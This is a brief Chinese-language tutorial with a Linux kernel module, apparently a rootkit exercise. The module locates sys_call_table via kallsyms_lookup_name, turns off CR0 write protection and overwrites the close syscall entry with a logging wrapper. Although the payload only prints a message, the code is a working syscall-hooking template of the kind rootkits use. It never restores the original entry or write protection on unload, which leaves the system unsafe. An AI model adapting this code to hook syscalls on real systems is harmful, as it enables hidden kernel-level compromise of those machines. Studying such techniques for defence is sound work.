1.通过kallsyms方式
基于Linux 5.0的X86-64系统.
1. 通过kallsyms_lookup_name查找sys_call_table地址.
2. 关闭写保护
3. 修改sys_call_table
#include<linux/module.h>
#include<linux/printk.h>
#include<linux/kobject.h>
#include<linux/kernel.h>
#include<asm/unistd_64.h>
#include<linux/syscalls.h>
#include<linux/delay.h>
#include<linux/kallsyms.h>
#include<asm/syscall.h>
#include<asm/paravirt.h>long (*fake_ptr)(const struct pt_regs*);long fake_close(const struct pt_regs* regs)
{printk("fake_close\n");return fake_ptr(regs);
}
void disable_write_protection(void)
{unsigned long cr0 = read_cr0();clear_bit(16, &cr0);write_cr0(cr0);
}
void get_sys_call_table(void)
{unsigned long sys_close = 0;unsigned long *call_table = 0;call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");printk("call_table:%lx",call_table);if(call_table)sys_close = call_table[__NR_close];fake_ptr = sys_close;disable_write_protection();call_table[__NR_close]=fake_close ; printk("fake_close:%lx,sys_close:%lx,table:%lx",(unsigned long)fake_close,sys_close,call_table[__NR_close]);}static int __init rootkits_lsm_init(void)
{get_sys_call_table(); return 0;
}static void __exit root_kits_lsm_uninit(void)
{printk("hell world lsm uninit\n");}module_init(rootkits_lsm_init);
module_exit(root_kits_lsm_uninit);
MODULE_LICENSE("GPL");